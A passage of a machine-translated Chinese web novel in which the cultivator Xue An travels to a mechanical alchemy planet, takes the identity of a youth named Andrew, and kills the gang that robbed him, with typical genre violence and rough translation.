    But I didn''t expect Xue An to be unmoved at all, still pouring tea slowly.


    "How long have I been drunk?" Ye Hanchang asked in a deep voice.


    "Three days!" Xue An filled a cup of tea, handed it to Ye Hanshang, and then smiled faintly, "To be exact, three days and four hours!"


    Ye Hanshang did not receive the tea that Xue An handed over at all. Instead, he stared at Xue An and said hesitantly: "Then...Did you say anything when I was drunk?"


    "what?"


    "Just some nonsense?" Ye Hanchang said with some guilty conscience.


    Xue An shook his head, "No!"


    Ye Hanchang let out a sigh of relief, slumped on the stone bench in relief, raised his neck after receiving the teacup, and poured it into his mouth.


    At this moment, Xue An said calmly: "Actually, what can you do if you marry a woman? It''s not that you can''t grab it!"


    puff!


    The tea that had just been poured into his mouth spouted out, and Ye Hanchang roared angrily: "Xue An, are you kidding me?"


    Xue An shrugged, and said with a smile, "I''m serious, but I didn''t mean to play you. If you are embarrassed to do it, I can help for free!"


    "roll!"


    After an hour.


    Ye Hanchang, who finally calmed down, looked at Xue An in silence, and finally couldn''t help but said: "Are you ready to leave so soon?"


    Xue An nodded, "Yeah! There is still a lot to do! I can''t stay here forever!"


    "Or...I''ll go to alchemy civilization for you!" Ye Hanshang said hesitantly.


    Xue An glanced at him with a smile, "Are you sure?"


    Ye Hanchang''s complexion turned pale, and finally lowered his head.


    Xue An suddenly couldn''t bear it, then raised his hand and patted Ye Hanchang on the shoulder.


    "Well, this matter started because of me, and the ghost world became what it is now because of my shots. So I naturally want to end this cause and effect, not to mention this time I have a very grand idea, hope It can be achieved through this alchemy trip!"


    "What idea?" Ye Hanchang was a little surprised.


    Xue An smiled and shook his head, "I can''t tell you yet, because it''s still immature, but I can guarantee that if it succeeds, it will surprise you, so you will know by then!"


    Ye Hanshang nodded when he heard the words, but slammed his fingers into the center of his brows, and then showed a painful expression on his face, and gradually pulled something out of the sea of ??brows.


    Xue looked quietly.


    When this thing completely appeared in front of you, the brilliance on it gradually faded away, and it was an extremely exquisite shape, a square shape, and each side was composed of sixteen small squares with unique shapes...a Rubik''s Cube.


    That''s right!


    It''s exactly the same as the Rubik''s Cube often seen on earth.


    The difference is nothing more than this Rubik��s Cube is much more refined than those outside.


    And through the small squares on each side, you can also see that there are countless gears intertwined.


    This Rubik''s Cube is so ingenious that it has obviously reached the limit of manpower, bringing the beauty of machinery to the fullest.


    Even Xue An couldn''t help being a little lost after seeing it.


    Then Ye Hanshang said solemnly: "Old Xue, this Rubik''s Cube was obtained from an ancient alchemy site, and it is also the only connection between me and the alchemy civilization. Although it is also an alchemy creation, it is extremely special. In fact, I still don��t know what it does!"


    "And if you enter the world of alchemy through it, you won''t appear as an outsider!"


    "Oh?" Xue An raised his eyebrows slightly, "You mean..."


    "Yes! When I entered that world through this Rubik''s Cube, I actually appeared in another capacity!"


    Xue An nodded, "Understood!"


    Then he took the Rubik''s Cube.


    Ye Hanshang still hesitated, "Old Xue, when are you going to leave?"


    Xue An raised his head and looked at the sky, "In the three days you were drunk, I have finished everything, so it is not too late, I will leave now!"


    "Leave now?" Ye Hanshang couldn''t help being surprised. He knew that Xue An was going to leave, but he didn''t expect it to be so fast.


    "Yes! Because I can feel that this world is gradually dying!"


    Ye Hanchang was silent for a moment, and then said in a quiet voice: "That... a good trip!"


    Xue An smiled, "Don''t worry! This time, there will be many surprises!"


    With that, the brilliance flashed in Xue An''s eyes, and the turbulent spirit directly controlled the Rubik''s cube to turn wildly.


    And when the Rubik''s Cube completely returned to zero, , the void suddenly shook, and then slowly appeared a nearly perfect rectangular space-time gap.


    Xue An raised his hand to hold this Rubik''s Cube, then stepped out one step, and said lightly: "Go!"


    After all, it disappeared after the space-time gap, and then the space-time gap disappeared.


    In the courtyard, only Ye Hanshang stood there with a sad expression, and only sighed softly after a long time.


    at the same time.


    In the far-away place of lava, Jin Jue who was teaching the scriptures suddenly shook, and then turned his head to look towards the sky.


    "Master, what''s the matter?" Rong Yang, the former lord of lava, asked respectfully.


    Jin Jue smiled slightly and shook his head, "It''s okay!"


    But when he turned his head back, he lowered his eyes, folded his palms, and muttered quietly.


    "Nanwuwu Buddha, may the donor have a smooth journey!"

 Chapter 1473： Mechanical planet

    In the space-time channel, everything at the extreme sight is a bizarre scene, which is caused by the refraction of light back and forth in the chaotic time and space, which Xue An has long been surprised by.


    In addition, he is now a Da Luo cultivation base, even if he crosses the void among the heavens, there is no pressure, let alone this time there is the guidance of this alchemy cube, so this time crossing the void is for Xue An It''s not too easy.


    at last.


    The space-time channel has come to an end.


    The brilliance in front of him was first Yisheng, and when it gradually dissipated, what appeared in front of [Shuquge] Xue An was an extremely magnificent scene.


    This is an endless sea of ??void, no stars, no celestial bodies, everything is empty, it seems that even the dust does not exist in this space.


    But in the middle of this extremely desolate space, there is an extremely huge planet floating in the air.


    If... that can be called a planet.


    There are many strangely-shaped planets in the heavens. Xue An has seen many of them, and it''s not that unusual.


    But this planet is very different from the stars in the heavens.


    Because what constitutes this planet is not ordinary rocks, but endless gears.


    That''s right!


    This is a planet constructed entirely of gears and various precision parts.


    Its huge size has exceeded the imagination of ordinary people.


    Even at a very long distance, it can still occupy more than half of Xue An''s field of vision, which shows its hugeness.


    On the planet, there are dozens of rings that resemble Saturn''s rings.


    To put it bluntly, this entire planet is an icy alchemy creation, exuding the ultimate mechanical beauty.


    Xue An took a deep breath. Even if he was once a goddess and experienced countless big scenes, it was the first time he saw this kind of sight, and he couldn''t help but be shocked.


    More importantly, he faintly perceives that this seemingly magnificent and magnificent planet seems... there is an unspeakable strangeness!


    Just like the nobles whose ancestors were once prominent but have now fallen, it gives people a sense of struggle to maintain dignity.


    At this moment, the alchemy cube that had guided Xue An all the way trembled suddenly, and then it merged into Xue An''s palm and disappeared.


    Immediately afterwards, an unparalleled suction suddenly appeared, dragging Xue An and flying to the planet.


    Xue An did not struggle, because he could feel that as he flew to this alchemy planet, the timeline of this void sea was also changing accordingly.


    "It''s interesting!" A smile appeared at the corner of Xue An''s mouth. He simply closed his eyes and completely let go of his control over the body. Then the whole person turned into an arc and fell directly into the planet at a speed like lightning. Somewhere.


    When Xue An opened his eyes again, what was greeted was a dirty and muddy street.


    Said it is a street, it is actually a small road.


    On the roadside are several shacks built of scrap copper and rotten iron, crooked, and seem to collapse at any time.


    There were large swaths of oil on the road, and the air was filled with a strange smell of engine oil and rust.


    In short, this is an unpleasant world.


    Xue An didn''t feel much about it. He lowered his head and looked at the shabby shirt that was stained with various oils.


    Even the cuff had a big opening, revealing a slightly slender arm.


    I can''t see the palm, because the palm is wrapped in a relatively clean dress, but the blood seeping through the dress can also be guessed that this hand is obviously injured.


    Xue An raised his eyebrows slightly, his spiritual thought surged, his cultivation base trembled, and then nodded.


    Ok!


    Both the cultivation base and the spiritual consciousness are there.


    And through the projection of the puddle on the ground, Xue An could see a thin boy.


    This boy looks completely the same except that his clothes are completely different from his own.


    A faint smile appeared at the corner of Xue An''s mouth.


    He knew that this should be the ghost of Alchemy Cube.


    After modifying the timeline, he has obviously become a member of this world.


    It stands to reason that if you modify the timeline of this void, then you will completely become another person, and even your strength will no longer exist.


    But now his strength has basically been retained.


    Xue An knew that this should be because his strength had already exceeded the upper limit that the Alchemy Cube could modify. Otherwise, this world would not be so kind to reserve his strength.


    And because of this, the Alchemy Rubik''s Cube only modified some insignificant clothes, and even his appearance was not changed at all.


    "This is a bit interesting!" Xue An whispered to himself.


    To put it bluntly, this world is like a drama in progress, and Xue An is like a stranger who suddenly broke into the backstage of the performance.


    But because Xue An''s strength was too strong, this world could not change or expel it, so he could only do some superficial effort to acquiesce in Xue An''s existence.


    "I don''t know what kind of identity this alchemy cube has modified for me! And how many people''s memories can be affected by the change of the timeline? Or is it directly tampering with people''s memories? If that is the case, this alchemy cube is again What does it have to do with the will of heaven in this world?"


    Xue An muttered to himself, studying his current identity.


    But he didn''t know. At this moment, his appearance was completely changed in the eyes of others on the street.


    "Poor Andrew, it looks like he was beaten stupid!" An old man shook his head and exclaimed.


    "Who can this blame? Who made this Andrew so bold, dare to oppose Copet''s gang?" Another middle-aged man sneered. UU reading www. uukanshu.com


    "You can''t say that. Koppert''s group has become more and more rampant recently. For example, this time, poor Andrew finally found a high-quality alchemy item from the trash mountain. As a result, after this Koppert heard the news, He actually grabbed it and wounded Andrew''s hand! You know, injured in such an environment, isn''t it forcing Andrew to die?" a woman in her thirties said angrily.


    The middle-aged man''s face turned pale when he heard it, "Sakina, what are you talking about, hurry up! If this is heard by Copet''s people, neither you nor I can live!"


    Sakina also realized that she had just lost a word, and hurriedly closed her mouth, but immediately afterwards, she glanced sympathetically at the quietly standing beside the puddle in the distance, whispering to herself like a stupid teenager.


    What a poor Andrew!


    The gear **** is on top, the guys in Copet are so cruel, they dare to do such a cruel hand to the most beautiful teenager in town.


    But it looks good now, even the look in a daze is so good...


    Sakina thought obsessively.

 Chapter 1474： Solve some...small troubles

    In fact, if it weren''t for fear of the Koppert group''s revenge, she would have liked to step forward now and take this Andrew home to take a good training.


    At this moment, a woman ran up in a panic from the other side of the street.


    This woman has long maroon hair and average appearance, but she has a good body. At least when she is running, she makes the men on the street look straight.


    When Sakina saw this, she couldn''t help but snorted and sipped inwardly.


    "Bah! Selling skin and meat for a living!"


    at the same time.


    The woman ran up to Xue An, and then said breathlessly, "Ann...Andrew, it''s not good! You...you run!"


    Xue An woke up from the analysis of the current situation, glanced at the woman, and the memory given by the timeline came to mind.


    Aretha, a girl who makes a living in skin and meat business, according to the timeline, she had a good relationship with Andrew before.


    Will often help the poor Andrew.


    She even gave the clean dress covering the wound at this moment.


    Xue An is summing up these memories. When Aretha saw Xue An not speaking, she thought that he had been frightened because of the previous blow, and she couldn''t help but sigh in secret.


    But now the situation is urgent, she can only say with extreme anxiety: "Andrew, I know you are sad, but you can''t beat those people in Copet, they have the support of the big people in the city behind them!"


    "Thank you, but why should I run?" Xue An suddenly laughed and said softly.


    Somehow, when she saw this smile on the face of the familiar Andrew, Aretha couldn''t help but shivered, but she quickly threw these strange things behind her.


    "Andrew, I just came back from the Glimpse Bar. Copet��s gang was there. I had a good relationship with the bartender at that bar. He secretly told me that Copet��s gang had already drunk too much. I propose to come here to find you...to find you..."


    Aretha blushed, these words are hard to say to a call girl like her.


    A flash of light flashed in Xue An''s eyes, "Bear Bear Bar?"


    Aretha nodded, "That''s right! But they are still drinking and having fun in it. I knew the news in advance and I hurried over to tell you, you..."


    Before she finished speaking, Xue An interrupted her, "Thank you for your message, how did you come?"


    Aretha was stunned and didn''t understand why Xue An asked, she couldn''t help but hesitated and said: "I...I drove a black car here, but the **** driver said nothing to enter the town, only willing to stay. Waiting outside the town, so I had to run over!"


    Xue An nodded, "Very good!"


    Then stepped and walked out.


    Aretha was a little silly, "Andrew, what are you going to do?"


    Xue An said lightly: "Take the car and go to the Bear Bar!"


    "My God, Andrew, are you crazy? Did you hear me clearly? The bad guys in Copet are about to trouble you!" Aretha shouted excitedly.


    Xue An turned his head and glanced, smiled and said: "Yes! It is because they are making trouble for me, so I plan to solve the trouble!"


    "No, Andrew, you can''t go!" Aretha suddenly rushed forward to stop Xue An''s path, and then said seriously.


    "I know you are angry, but Koppert''s gang are not ordinary people, they even have cyborgs! You will not be their opponent!"


    Xue An smiled, "How can you know if you don''t try?"


    After speaking, Xue An left without a trace.


    Aretha froze in place, until Xue An was already far away, she shuddered suddenly, and then woke up.


    Although Xue An was smiling just now, Aretha felt that in that thin body there seemed to be a mechanical war dragon waking up, and the extreme danger made Aretha almost fainted.


    When she woke up, she suddenly remembered something, turned around and ran outside the town.


    But when I arrived outside the street, I only saw the exhaust trails of the black car in the distance.


    Aretha stomped heavily, then suddenly turned around and smiled at the only man in the town who owned a mechanical motorcycle.


    "Vassilis, how about sending me to the Bear Bar?"


    Vasilis blew his whistle and stretched out three fingers, "Yes, but you have to stay with me for three nights!"


    Aretha gritted her teeth, "Two nights, I can still wash your clothes!"


    "Deal, my baby!"


    Just when Aretha was sitting on Vasilis''s mechanical motorcycle that should have been scrapped long ago to rush to the Bear Bar.


    Outside the Blizzard Bar, Xue An stepped down from this black car that was pieced together with various scrap parts, but could miraculously float in the air.


    "Trouble wait a minute, I will solve a little trouble, and I will come out to settle the car money for you in a while!" Xue An said lightly.


    The driver of the black car poked his head out of the window and smiled weirdly, "Of course it can. Anyway, that **** Aretha has promised me to pay for the round trip, but you..."


    "Man, you can easily get into trouble when you enter this bar with such a good looks! So I kindly advise you, or..."


    Before he finished speaking, he saw that Xue An had walked straight to the black bear bar.


    The driver of the black car pursed his mouth and muttered: "I really want to die by myself!"


    at the same time.


    Xue An has walked into this bear bar.


    There is no guard at the door, because in this land, only the people in this bar have always bullied others, so they have no concept of guarding at all.


    When you turn a corner, violent and rhythmic music rushes directly into your ears.


    The air was filled with unpleasant smell of tobacco, and among the shaking light and shadow, countless people were swinging their bodies frantically with the music.


    Drunk life and dream of death!


    Only these four words can describe the life of this blizzard bar.


    Xue An''s eyes scanned the entire hall in an instant, but did not find the so-called Copet and others.


    He frowned slightly, then came to the bar.


    At this time, a bunny girl in exposed clothes was sitting here, and when she saw Xue An''s face, the bunny girl''s eyes lit up.


    Although Xue An''s clothes are very shabby now, she still leaned forward and asked with a smile: "This gentleman, is it alone?"


    Xue An smiled lightly, "Yes! Is Mr. Koppert here?"


    Upon hearing the name Koppert, the smiling bunny girl was momentarily sluggish, and then nodded.


    "Yes, it''s here! But who are you?"


    "Oh, yes, there may be a little misunderstanding between me and this Mr. Copet, he seems to be looking for me, so I am here!" Xue An''s smile was very sincere.


    The bunny girl took a deep look at Xue An when she heard the words, and there was a hint of sympathy in her eyes.


    As a girl who works in this bar, she certainly knows what Koppert''s gang are.


    Those are all **** and lunatics through and through.


    The misunderstanding that they say is certainly not a good thing!


    The poor young man was so beautiful, but he turned out to be so innocent that he even took the initiative to solve the problem.


    Does he think this can impress Copet and the others?


    impossible! The hearts of those guys are probably replaced with cold metal.


    Although there is some sympathy in her heart, this bunny girl dare not say anything else Otherwise, she will be the one who is unlucky.


    So she nodded, "Then please come with me!"


    After speaking, he led Xue An through the hall, climbed up the steps, and came to the second floor.


    The environment here is obviously much quieter, but from time to time there will be some strange sounds in the rooms on both sides of the corridor.


    There were screams and wailing.


    But obviously the sound insulation here is excellent, and even the walls are made of silver-white metal.


    Wait until you reach the end of the corridor.


    The bunny girl gently opened the door, "Master Copet is here! Please come in!"


    Xue An smiled at her, "Thank you!"


    After that, I stepped into it.


    The bunny girl closed the door and sighed in her heart.


    What a poor boy!

 Chapter 1475： Mr. Koppert, now we can...

    The light in the room is very dark, and the air is filled with a strange and pungent aroma, like a woman with heavy makeup, trying to stir up your desire.


    Through the ambiguous light, it can be seen that there is a circle of sofas in the middle of the room. On the sofa, men and women are sitting together, drinking and having fun, and from time to time, there will be a few arrogant laughs.


    No one noticed Xue An''s arrival. In the impression of this group of people, they were the only ones who bullied others, and never thought that anyone would dare to come to the door.


    So at this moment, they are very relaxed, enjoying this corrupt and happy life comfortably.


    "Hey, that little guy in the small town yesterday looks really good! Boss, I can''t help it a little bit, let''s go find him soon!" At this moment, a bald-headed strong man said with a grinning grin.


    His words caused a burst of laughter.


    Several men also shouted.


    "Yeah, boss! You didn''t see it. When I picked that little guy''s tegus, he wanted to cry but didn''t dare to cry. It was exciting to think about it!"


    "Hehe, and that little guy is also very lucky. He can actually pick up such high-quality gears in the trash mountain, which can be used as alchemy materials!"


    "Shit, can he be considered lucky? That means our boss is lucky! Just in time for the trade fair to begin, we actually got such a treasure!" Another man retorted.


    Copet was sitting in the middle of the sofa, and after hearing these words, he smiled triumphantly.


    His figure is extremely burly, even when sitting, he looks like a meat mountain.


    At the moment, he is indeed very proud.


    Because the gear snatched from the small town is indeed very valuable, it coincides with the trade fair. If you can buy some high-quality enhancers or potions from this trade fair, your strength will be further improved.


    In this world, strength means everything.


    Wine woman, everything and so on must be obtained by fist.


    So he was naturally in a great mood.


    In addition, his suggestions reminded him of the handsome face of that young man, and it made Copet''s heart hot.


    But just when he was about to speak, suddenly!


    The light in the room was turned on.


    The bright lights make these people who are used to the darkness very uncomfortable.


    "What the hell? Who turned on the light? Turn it off quickly!" someone roared.


    At this moment, a calm voice came into the ears of everyone in the room.


    "Mr. Koppert, very happy, we meet again!"


    Hearing this, everyone in the room, including Copet, was taken aback.


    Because this voice sounds familiar.


    When they looked up, they saw Xue An standing in the shadow of the door.


    At this time, the dignified atmosphere that had been raised due to the sudden change was instantly swept away.


    Koppert and others looked at each other, and then laughed together.


    "Fuck, scared me, I thought it was an enemy who came to get revenge!" someone said cursingly.


    The brawny bald man who had been coveting Andrew before even laughed strangely, "Yeah, who did I think it was? It turned out to be you little girl! Why? Knowing that the uncles are bored, he took the initiative to send it to the door. Is it?"


    When talking about the three words "little girl," the brawny bald man deliberately increased his tone, full of humor.


    But as soon as his words fell, Xue An raised his eyebrows slightly, and the brilliance flashed in his eyes.


    A beam of light appeared silently in front of the brawny bald man, and then lightly slashed past.


    puff!


    The bald man''s head flew up like a ball, and blood gushed out like a fountain, splashing all over the ground.


    The heavy blood, and this sudden killing, made everyone stupid.


    At this moment, Xue An stepped up to a chair, sat down slowly, and then showed a faint smile.


    "Mr. Koppert, I think we can have a good talk now, right?"


    Koppert''s face suddenly became ugly, and his cold eyes stared at Xue An like a poisonous snake.


    "Andrew, I didn''t expect us to miss you, you are still a master! But what do you want to talk to me?"


    "It''s very simple! Take back the stolen things and tell me what happened to the trade fair you just talked about!" Xue An said lightly.


    These words made Koppert and the others all stunned, and then looked at each other, their faces all showing hideous looks.


    "Andrew, do you know what you are doing?" someone sneered.


    Koppert looked at Xue An calmly, then said gloomily: "Okay! I can do as you say, but then?"


    "What then?" Xue An leaned on the leather sofa and stretched out comfortably.


    "Haha, are my subordinates so dead in vain?" Copet''s eyes became more murderous, and the left hand that had spent a lot of money and was transformed into a machine with alchemy gradually clenched his fist.


    "Oh, I understand!" Xue An nodded, "I promise you, as long as you do it honestly, then I can let you die decently, so what do you think?"


    boom!


    The audience was boiling.


    Koppert was even more furious, "You fucking..."


    But before he finished speaking, he felt a flower in front of him, and then saw that Xue An, who had been sitting in a chair, didn''t know when he had appeared in front of him, and looked at him condescendingly.


    That kind of playful look made Koppert''s whole body cold, because he could only see this kind of look on those high-ranking alchemists.


    It''s a kind of contempt of the superior to the inferior.


    But immediately, he felt infinite humiliation and anger After all, the young man in front of him was the object of his humiliation yesterday. Now that he suddenly became like this, he certainly couldn''t be convinced.


    Therefore, he was furious, and in his chest, the mechanical heart that had also been transformed with alchemy was fully powered, and it burst out with extremely powerful energy in an instant.


    These energies surged into his mechanical left hand, making his left fist clenched, electricity and light looming, and then blasted towards Xue An who was standing in front of him.


    The power contained in this punch is so strong that it feels like a fighter plane is hitting head-on, causing a gust of wind in the entire room.


    But in the face of such a blow, the young man seemed to have been frightened stupidly, standing there quietly, without any reaction.


    When Koppert saw this, a smug sneer appeared in the corner of his mouth, and his eyes were full of cruelty and excitement.


    He had already seen the scene where the boy was smashed to pieces by himself, and then burst open like a broken can of meat.


    This made him tremble with excitement.

 Chapter 1476： The beast will eventually die, but Xue An will eternal...

    As for Koppert''s men, they all showed pride and bloodthirsty.


    But at this moment, Koppert felt that his indestructible punch was suddenly blocked by a huge force.


    Just when he felt infinitely astonished, he saw Xue An with one hand behind his back, while the other hand held his mechanical left hand lightly.


    Then he looked at Copet with interest, "It''s interesting! Actually, it was purely mechanical power to hit at least the golden fairy peak!"


    Koppert instantly regained consciousness, and then a crazy color appeared on his face, and the mechanical heart began to beat frantically like an explosion, and the huge energy released all rushed to the left fist held by Xue An.


    Just listen to a crackling sound from this left hand, and an electric light appeared, obviously because of the excessive power, it has reached the critical point of collapse.


    But this also caused the power of this left hand to rise again a little bit, and shook frantically, trying to break free of Xue An''s grasp.


    Unfortunately, everything is in vain.


    Although it was only an understatement, Xue An''s hand seemed to be made of steel, and Copet couldn''t shake it at all.


    This couldn''t help making Copet''s eyes appear astonished and horrified.


    He was confident that his attack was enough to defeat an intermediate alchemist, but why didn''t he even shake the young man''s hair?


    At this moment, Xue An raised the corner of his mouth, sketching out a cold smile, "It''s a pity, Mr. Koppert, it seems that you don''t want to cooperate well! Then I can only..."


    As he said, Xue An''s hand suddenly shook.


    Bang!


    Copet''s palm was like a paper tie, which was directly squeezed by Xue Ansheng, sparks splashed, Copete let out a scream that shook the sky.


    But it was not over yet, Xue An stomped Copet to the ground with one foot, then kicked his chest and raised his hand violently.


    Click!


    There was a sound of toothy metal rubbing and cracking, followed by a muffled sound.


    Copet''s arm was pulled down by Xue Ansheng.


    Electricity splashed everywhere, and the exposed lines were dripping with grease like blood vessels.


    Because of the severe pain, Koppert fluttered on the ground like a dead fish.


    Xue An weighed the still trembling mechanical arm in his hand, and a charming smile appeared on his face.


    "Mr. Koppert, I think we can have a good talk now!"


    The audience was silent, and many people could be heard secretly swallowing saliva.


    Koppert showed infinite horror.


    He had never seen such a violent existence as Xue An.


    If he is relying on alchemy to win himself, then Copet can still accept it.


    But from the beginning to the end, Koppert didn''t notice the slightest mechanical fluctuation from Xue An.


    Then there is only one explanation.


    This Andrew suppressed his mechanical arm purely by physical force and pulled it out.


    But is this really possible?


    Koppert has never heard of anyone who can fight against machinery with physical force.


    But the fact is right in front of him, and he can''t help but believe it.


    Therefore, at this moment, he looked at Xue An with horror in his eyes.


    He even felt that in the thin body of this young man, there must be a mechanical tyrannosaurus-like existence hidden.


    Otherwise it won''t be so vigorous!


    Therefore, he nodded without hesitation, and then tremblingly said: "When...Of course!"


    As he said, he turned his head and yelled at his group of subordinates who were still in shock and unable to extricate themselves: "What are you still doing in a daze? Don''t hurry up and get back the thing from Lord Andrew!"


    These subordinates wake up like a dream, "Yes!"


    Then he crawled and opened the safe in the room, took out a small box, and placed it tremblingly on the table.


    Xue An glanced, and inside the box was a gear exuding lavender luster, extremely delicate.


    "Mr. Koppert, if you had cooperated so early, you wouldn''t have suffered these sins, would you?"


    With that said, Xue An released the foot that was stepping on Copet, walked to the table and sat on it.


    "Yes, yes! It''s because I have no eyes and ran into adults!" Copet repeatedly apologized, and then got up from the ground with difficulty.


    But at the moment he was about to stand up, he suddenly winked at those men.


    "shot!"


    With an order, these wicked thugs immediately picked up their guns from under the table and beside the sofa, aimed at Xue An and pulled the trigger.


    That''s right!


    This world also has guns.


    Even because the mechanical civilization here is extremely developed, coupled with the blessing of alchemy, the guns here are far more powerful than those on earth.


    Like now.


    Under the pouring rain of bullets, the tables, chairs and sofas were beaten to dust.


    Especially for Copet, he saw that his only right hand was holding a revolver engraved with beautiful alchemy patterns, and he was pulling the trigger with a crazy look.


    The bullets driven purely by the power of alchemy were so powerful that they even shook the walls of the room into cracks within the reach of the aftermath.


    Such a loud noise naturally alarmed the people outside the room.


    In the box on the second floor, many people poked their heads out and looked outside curiously.


    They didn''t know what was going on, but after confirming that the sound came from the box at the end of the corridor, they all got scared.


    Because they all know that the box is Copet''s exclusive box.


    It''s no surprise what the lunatic who had replaced his heart with a cold machine did.


    So soon, these people retracted their heads again, as if they had not heard the gunshots just now.


    Only the bunny girl who led Xue An up was pale and full of sympathy.


    Just say don''t go!


    What is the result?


    Ugh! And there seemed to be screams from inside just now, and now there is such a big noise!


    This young man, it is estimated that he has become more and less fortunate!


    It was the same with my brother back then!


    The bunny girl''s eyes were red, and her heart was full of helpless anger and sighs.


    But at this moment, the intense gunfire suddenly disappeared.


    And not only the gunfire, all the sounds came to an abrupt end!


    Instead, there is a dead silence that exudes ominous meaning.


    The bunny girl was stunned.


    what happened?


    What the **** are the lunatics of Copete doing?


    suddenly.


    The door of the box at the end of the corridor was gently pushed open.


    The eyes of the bunny girl gradually widened and stared blankly at Xue An, who came out from the darkness behind the door with a smile, her brain blank.


    what happened?


    Why doesn''t this boy seem to be hurt at all?


    Could it be that he did not clashed with Copet, what happened to the gunshot just now?


    The bunny girl was puzzled, and Xue An had already approached her and smiled at her.


    "Excuse me, where can I take a bath?"


    "Uh..." The bunny girl didn''t react at the time, but when she was about to speak, she suddenly trembled and her pupils shrank to the size of a needle.


    Because she was shocked to find that there was a little blood splattered on the body of the boy in front of him.


    At the same time, she also noticed the red snaking behind the slightly open door.


    All this made her tremble.

 Chapter 1477： Giant steampunk chariot

    But soon, she forced herself to work hard to calm down, because she didn''t want to offend this mysterious and powerful young man covered in blood, so she trembled and said: "Big...sir, there is no place to bathe in this bar!"


    "Oh! That''s it!" Xue An faintly responded, and could not hear any disappointment.


    But the bunny girl clenched her teeth abruptly, "But, my lord, I can simply wash up where I live! You...If you don''t like it, you can go to me."


    Xue An glanced at the bunny girl and smiled, "Thank you!"


    The bunny girl suddenly became happy, but before she left, she suddenly remembered something, turned back to the end of the corridor, and closed the empty door.


    This was not assured, she even hung up a sign in front of the door with a line of **** characters written on it.


    "do not disturb!"


    This was specially prepared by Copet in order to have fun without being disturbed.


    Once this is hung up, no one can enter this box for half a step.


    After finishing all this, the bunny girl turned and smiled at Xue An: "My lord, please come with me!"


    Hearing the sound of water coming from the bathroom, Haida gradually calmed down.


    She didn''t know why she was so bold, she actually dared to lead such a dangerous young man back to where she lived.


    But when he thought of the bright smile on the boy''s face, Haida''s face gradually turned red.


    As for Koppert and others.......


    Haida can be sure that they are dead!


    Because when the door was closed, the blood in that room was already disgusting.


    The strange thing is that Haida didn''t feel any fear, but was calm and relieved.


    Because as long as he thinks of the various atrocities committed against him by the Koppert gang, Haida hates him, and he is also full of sincere gratitude to Xue An.


    At this moment, Xue An, who had simply washed up, walked out of the room.


    At this moment, he had changed the worn-out clothes and put on the clothes that Haida specially found for him.


    Haida couldn''t help feeling a little lost when he saw this clean and beautiful young man standing in front of him.


    In a daze, she even thought that her brother, who had been mutilated to death by Copet and others, had come back to life.


    "Thank you for your clothes!" After that, Xue An took out a gear and placed it on the table, then turned and walked out.


    That''s right!


    The universal currency in this world is actually a gear.


    And this gear with a hint of blue luster was also obtained by Xue An from Kopet''s safe.


    Anyway, people are already dead, so naturally these things cannot be wasted.


    For this, Xue An has no pressure to do, and even misses it.


    Because when he was cultivating in the heavens, because there was no support from the master and the resources were scarce, he had dealt with those cruel and unkind cultivators more than once, and then looted his resources.


    This time was naturally no exception. Xue An didn''t want to change the timeline prematurely, because that would very likely increase the world''s rejection of him, which would lead to failure.


    So he followed the identity that the alchemy cube had set for himself, step by step, and wanted to see what would happen.


    Because he believes that the reason why the Alchemy Cube will set this identity for himself definitely means that there will be clues behind.


    as predicted.


    He learned this clue about the trade fair from Copet.


    This also confirmed Xue An''s guess that the world is far more complicated than it seems.


    Because of this, he didn''t use power beyond the world''s cognition, and even Anyan was not alarmed.


    Because he couldn''t be sure, if An Yan suddenly appeared in this world, would it attract strong rejection from this world.


    If that''s the case, it can be troublesome.


    Even if there is no rejection, it is very likely that the Alchemy Cube will forcibly change the timeline, and give An Yan an identity.


    That''s what Xue An didn''t want to see.


    So Xue An simply started to proceed according to the rules of the game in this world.


    To put it bluntly, Xue An is now playing a puzzle game. Xue An does not intend to cheat, because what he is looking for is very important!


    Haida looked at the gear on the table and suddenly raised his head to look at Xue An who was walking outside, "My lord, it should be me thank you!"


    Haida paused, "Thank you for killing the gangsters of Copet!"


    Xue An didn''t turn his head back, but a smile appeared on the corners of his mouth, and then he said lightly: "You''re welcome, it''s just a matter of doing it!"


    After speaking, Xue An walked out of the room.


    Only Haida stood in the same place in a daze, "Help?"


    now.


    It was dark outside.


    A crimson moon hung in the hollow, and the light shone on the earth, coating the night with a **** glow.


    It is not the full moon, so Feiyue''s power is not fully activated.


    Every month, this crimson moon will have a time when the power is fully turned on, and the whole world will be completely illuminated that day.


    Its light is not inferior to sunlight.


    That''s right!


    The brightness of Feiyue can be adjusted artificially.


    Not only Feiyue, but also the scorching sun during the day.


    Because in this world, even the sun and the moon are alchemy creations.


    But with the passage of time, these alchemical creations from the heyday of the ancient alchemical civilization have lost their control methods at this moment.


    The sun and the moon are all supported by the powerful alchemy rules, rising and descending step by step. The moon is full and the moon is missing, but no one can control it anymore.


    The noise in the blizzard bar is still there, and on the street outside, the driver of the black car is waiting here grumbling.


    "I''m really crazy. I''m still waiting for that guy here. I guess he has been eaten and wiped out now and become a dead body!" The driver of the black car mumbled, while preparing to start the vehicle and leave.


    But at this moment, a mechanical roar resembling a beast growl came from a distance.


    The driver of the black car trembled and his complexion instantly turned pale.


    Because he has heard what this mechanical roar is,


    When he was tremblingly twisting the key and preparing to leave, two huge beams of light suddenly lit up, making him unable to open his eyes.


    Then, with the roar of the machinery, a giant motorcycle with the front of it resembling a skeleton and the whole body exuding a strong steampunk atmosphere slowly drove over.


    The driver of the black car was shaking with fright, but he calmly lowered the window, and then poked his head out with a smile on his face.


    "Master Koppert, you are going to drive out again..."


    The following words were not finished The eyes of the black car driver went wide.


    Because he was so horrified to discover that the person riding in this Copet''s exclusive car was actually a beautiful boy.


    It was Andrew who came here in his car before!


    The boss of the black car driver with his mouth open.


    At this moment, Xue An turned his head and smiled at him slightly, and then flicked his finger and a gear flew into the car window.


    "Here, give you money for the car!"


    "Ah...this..." What else the black car driver wanted to say.


    Xue An said lightly: "Thank you, in which direction is Bluestone City?"


    The driver of the black car subconsciously raised his finger and pointed behind him.


    "Thanks!"


    After that, Xue An put down his goggles and suddenly twisted the accelerator. The giant motorcycle let out a roar, and then rushed out like a dark night phantom, disappearing into the vast night in an instant.

 Chapter 1478： You stupid groundhog

    The driver of the black car stared blankly. It was not until a long time later that he noticed that the gear Xue An threw at him was actually glowing blue.


    "Hey! He actually gave so much money? And what''s the matter with his car? Isn''t that the exclusive car of Lord Copet?"


    The driver of the black car whispered softly.


    at the same time.


    With a thunderous sound, a tattered motorcycle with thick black smoke from its tail staggered to the front of the Bear Bar.


    Aretha leaped from the back seat and saw the black car on the street at a glance, and rushed over.


